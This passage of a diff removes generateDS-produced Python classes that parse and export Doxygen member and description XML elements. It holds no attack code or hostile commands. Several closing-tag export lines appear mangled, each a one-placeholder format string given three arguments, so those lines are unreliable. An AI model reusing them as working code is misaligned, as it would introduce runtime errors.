already_processed.add('protectedsettable') - self.protectedsettable = value - self.validate_DoxBool(self.protectedsettable) # validate type DoxBool - value = find_attr_value_('gettable', node) - if value is not None and 'gettable' not in already_processed: - already_processed.add('gettable') - self.gettable = value - self.validate_DoxBool(self.gettable) # validate type DoxBool - value = find_attr_value_('privategettable', node) - if value is not None and 'privategettable' not in already_processed: - already_processed.add('privategettable') - self.privategettable = value - self.validate_DoxBool(self.privategettable) # validate type DoxBool - value = find_attr_value_('protectedgettable', node) - if value is not None and 'protectedgettable' not in already_processed: - already_processed.add('protectedgettable') - self.protectedgettable = value - self.validate_DoxBool(self.protectedgettable) # validate type DoxBool - value = find_attr_value_('final', node) - if value is not None and 'final' not in already_processed: - already_processed.add('final') - self.final = value - self.validate_DoxBool(self.final) # validate type DoxBool - value = find_attr_value_('sealed', node) - if value is not None and 'sealed' not in already_processed: - already_processed.add('sealed') - self.sealed = value - self.validate_DoxBool(self.sealed) # validate type DoxBool - value = find_attr_value_('new', node) - if value is not None and 'new' not in already_processed: - already_processed.add('new') - self.new = value - self.validate_DoxBool(self.new) # validate type DoxBool - value = find_attr_value_('add', node) - if value is not None and 'add' not in already_processed: - already_processed.add('add') - self.add = value - self.validate_DoxBool(self.add) # validate type DoxBool - value = find_attr_value_('remove', node) - if value is not None and 'remove' not in already_processed: - already_processed.add('remove') - self.remove = value - self.validate_DoxBool(self.remove) # validate type DoxBool - value = find_attr_value_('raise', node) - if value is not None and 'raise' not in already_processed: - already_processed.add('raise') - self.raise_ = value - self.validate_DoxBool(self.raise_) # validate type DoxBool - value = find_attr_value_('optional', node) - if value is not None and 'optional' not in already_processed: - already_processed.add('optional') - self.optional = value - self.validate_DoxBool(self.optional) # validate type DoxBool - value = find_attr_value_('required', node) - if value is not None and 'required' not in already_processed: - already_processed.add('required') - self.required = value - self.validate_DoxBool(self.required) # validate type DoxBool - value = find_attr_value_('accessor', node) - if value is not None and 'accessor' not in already_processed: - already_processed.add('accessor') - self.accessor = value - self.validate_DoxAccessor(self.accessor) # validate type DoxAccessor - value = find_attr_value_('attribute', node) - if value is not None and 'attribute' not in already_processed: - already_processed.add('attribute') - self.attribute = value - self.validate_DoxBool(self.attribute) # validate type DoxBool - value = find_attr_value_('property', node) - if value is not None and 'property' not in already_processed: - already_processed.add('property') - self.property = value - self.validate_DoxBool(self.property) # validate type DoxBool - value = find_attr_value_('readonly', node) - if value is not None and 'readonly' not in already_processed: - already_processed.add('readonly') - self.readonly = value - self.validate_DoxBool(self.readonly) # validate type DoxBool - value = find_attr_value_('bound', node) - if value is not None and 'bound' not in already_processed: - already_processed.add('bound') - self.bound = value - self.validate_DoxBool(self.bound) # validate type DoxBool - value = find_attr_value_('removable', node) - if value is not None and 'removable' not in already_processed: - already_processed.add('removable') - self.removable = value - self.validate_DoxBool(self.removable) # validate type DoxBool - value = find_attr_value_('constrained', node) - if value is not None and 'constrained' not in already_processed: - already_processed.add('constrained') - self.constrained = value - self.validate_DoxBool(self.constrained) # validate type DoxBool - value = find_attr_value_('transient', node) - if value is not None and 'transient' not in already_processed: - already_processed.add('transient') - self.transient = value - self.validate_DoxBool(self.transient) # validate type DoxBool - value = find_attr_value_('maybevoid', node) - if value is not None and 'maybevoid' not in already_processed: - already_processed.add('maybevoid') - self.maybevoid = value - self.validate_DoxBool(self.maybevoid) # validate type DoxBool - value = find_attr_value_('maybedefault', node) - if value is not None and 'maybedefault' not in already_processed: - already_processed.add('maybedefault') - self.maybedefault = value - self.validate_DoxBool(self.maybedefault) # validate type DoxBool - value = find_attr_value_('maybeambiguous', node) - if value is not None and 'maybeambiguous' not in already_processed: - already_processed.add('maybeambiguous') - self.maybeambiguous = value - self.validate_DoxBool(self.maybeambiguous) # validate type DoxBool - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'templateparamlist': - obj_ = templateparamlistType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.templateparamlist = obj_ - obj_.original_tagname_ = 'templateparamlist' - elif nodeName_ == 'type': - obj_ = linkedTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.type_ = obj_ - obj_.original_tagname_ = 'type' - elif nodeName_ == 'definition': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'definition') - value_ = self.gds_validate_string(value_, node, 'definition') - self.definition = value_ - self.definition_nsprefix_ = child_.prefix - elif nodeName_ == 'argsstring': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'argsstring') - value_ = self.gds_validate_string(value_, node, 'argsstring') - self.argsstring = value_ - self.argsstring_nsprefix_ = child_.prefix - elif nodeName_ == 'name': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'name') - value_ = self.gds_validate_string(value_, node, 'name') - self.name = value_ - self.name_nsprefix_ = child_.prefix - elif nodeName_ == 'qualifiedname': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'qualifiedname') - value_ = self.gds_validate_string(value_, node, 'qualifiedname') - self.qualifiedname = value_ - self.qualifiedname_nsprefix_ = child_.prefix - elif nodeName_ == 'read': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'read') - value_ = self.gds_validate_string(value_, node, 'read') - self.read = value_ - self.read_nsprefix_ = child_.prefix - elif nodeName_ == 'write': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'write') - value_ = self.gds_validate_string(value_, node, 'write') - self.write = value_ - self.write_nsprefix_ = child_.prefix - elif nodeName_ == 'bitfield': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'bitfield') - value_ = self.gds_validate_string(value_, node, 'bitfield') - self.bitfield = value_ - self.bitfield_nsprefix_ = child_.prefix - elif nodeName_ == 'reimplements': - obj_ = reimplementType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.reimplements.append(obj_) - obj_.original_tagname_ = 'reimplements' - elif nodeName_ == 'reimplementedby': - obj_ = reimplementType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.reimplementedby.append(obj_) - obj_.original_tagname_ = 'reimplementedby' - elif nodeName_ == 'qualifier': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'qualifier') - value_ = self.gds_validate_string(value_, node, 'qualifier') - self.qualifier.append(value_) - self.qualifier_nsprefix_ = child_.prefix - elif nodeName_ == 'param': - obj_ = paramType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.param.append(obj_) - obj_.original_tagname_ = 'param' - elif nodeName_ == 'enumvalue': - obj_ = enumvalueType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.enumvalue.append(obj_) - obj_.original_tagname_ = 'enumvalue' - elif nodeName_ == 'requiresclause': - obj_ = linkedTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.requiresclause = obj_ - obj_.original_tagname_ = 'requiresclause' - elif nodeName_ == 'initializer': - obj_ = linkedTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.initializer = obj_ - obj_.original_tagname_ = 'initializer' - elif nodeName_ == 'exceptions': - obj_ = linkedTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.exceptions = obj_ - obj_.original_tagname_ = 'exceptions' - elif nodeName_ == 'briefdescription': - obj_ = descriptionType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.briefdescription = obj_ - obj_.original_tagname_ = 'briefdescription' - elif nodeName_ == 'detaileddescription': - obj_ = descriptionType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.detaileddescription = obj_ - obj_.original_tagname_ = 'detaileddescription' - elif nodeName_ == 'inbodydescription': - obj_ = descriptionType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.inbodydescription = obj_ - obj_.original_tagname_ = 'inbodydescription' - elif nodeName_ == 'location': - obj_ = locationType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.location = obj_ - obj_.original_tagname_ = 'location' - elif nodeName_ == 'references': - obj_ = referenceType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.references.append(obj_) - obj_.original_tagname_ = 'references' - elif nodeName_ == 'referencedby': - obj_ = referenceType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.referencedby.append(obj_) - obj_.original_tagname_ = 'referencedby' -# end class memberdefType - - -class definition(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, definition) - if subclass is not None: - return subclass(*args_, **kwargs_) - if definition.subclass: - return definition.subclass(*args_, **kwargs_) - else: - return definition(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='definition', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('definition') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'definition': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='definition') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='definition', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='definition'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='definition', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class definition - - -class argsstring(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, argsstring) - if subclass is not None: - return subclass(*args_, **kwargs_) - if argsstring.subclass: - return argsstring.subclass(*args_, **kwargs_) - else: - return argsstring(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='argsstring', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('argsstring') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'argsstring': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='argsstring') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='argsstring', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='argsstring'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='argsstring', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class argsstring - - -class qualifiedname(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, qualifiedname) - if subclass is not None: - return subclass(*args_, **kwargs_) - if qualifiedname.subclass: - return qualifiedname.subclass(*args_, **kwargs_) - else: - return qualifiedname(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='qualifiedname', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('qualifiedname') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'qualifiedname': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='qualifiedname') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='qualifiedname', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='qualifiedname'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='qualifiedname', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class qualifiedname - - -class read(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, read) - if subclass is not None: - return subclass(*args_, **kwargs_) - if read.subclass: - return read.subclass(*args_, **kwargs_) - else: - return read(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='read', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('read') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'read': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='read') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='read', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='read'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='read', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class read - - -class write(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, write) - if subclass is not None: - return subclass(*args_, **kwargs_) - if write.subclass: - return write.subclass(*args_, **kwargs_) - else: - return write(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='write', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('write') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'write': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='write') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='write', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='write'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='write', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class write - - -class bitfield(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, bitfield) - if subclass is not None: - return subclass(*args_, **kwargs_) - if bitfield.subclass: - return bitfield.subclass(*args_, **kwargs_) - else: - return bitfield(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='bitfield', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('bitfield') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'bitfield': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='bitfield') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='bitfield', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='bitfield'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='bitfield', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class bitfield - - -class descriptionType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, title=None, para=None, internal=None, sect1=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.title = title - self.title_nsprefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - if internal is None: - self.internal = [] - else: - self.internal = internal - self.internal_nsprefix_ = None - if sect1 is None: - self.sect1 = [] - else: - self.sect1 = sect1 - self.sect1_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, descriptionType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if descriptionType.subclass: - return descriptionType.subclass(*args_, **kwargs_) - else: - return descriptionType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_title(self): - return self.title - def set_title(self, title): - self.title = title - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_internal(self): - return self.internal - def set_internal(self, internal): - self.internal = internal - def add_internal(self, value): - self.internal.append(value) - def insert_internal_at(self, index, value): - self.internal.insert(index, value) - def replace_internal_at(self, index, value): - self.internal[index] = value - def get_sect1(self): - return self.sect1 - def set_sect1(self, sect1): - self.sect1 = sect1 - def add_sect1(self, value): - self.sect1.append(value) - def insert_sect1_at(self, index, value): - self.sect1.insert(index, value) - def replace_sect1_at(self, index, value): - self.sect1[index] = value - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.title is not None or - self.para or - self.internal or - self.sect1 or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='descriptionType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('descriptionType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'descriptionType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='descriptionType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='descriptionType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='descriptionType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='descriptionType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.title is not None: - namespaceprefix_ = self.title_nsprefix_ + ':' if (UseCapturedNS_ and self.title_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%stitle>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.title), input_name='title')), namespaceprefix_ , eol_)) - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - for internal_ in self.internal: - namespaceprefix_ = self.internal_nsprefix_ + ':' if (UseCapturedNS_ and self.internal_nsprefix_) else '' - internal_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='internal', pretty_print=pretty_print) - for sect1_ in self.sect1: - namespaceprefix_ = self.sect1_nsprefix_ + ':' if (UseCapturedNS_ and self.sect1_nsprefix_) else '' - sect1_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='sect1', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'title' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'title') - valuestr_ = self.gds_validate_string(valuestr_, node, 'title') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'title', valuestr_) - self.content_.append(obj_) - self.title_nsprefix_ = child_.prefix - elif nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'para', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_para'): - self.add_para(obj_.value) - elif hasattr(self, 'set_para'): - self.set_para(obj_.value) - elif nodeName_ == 'internal': - obj_ = docInternalType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'internal', obj_) - self.content_.append(obj_) - if 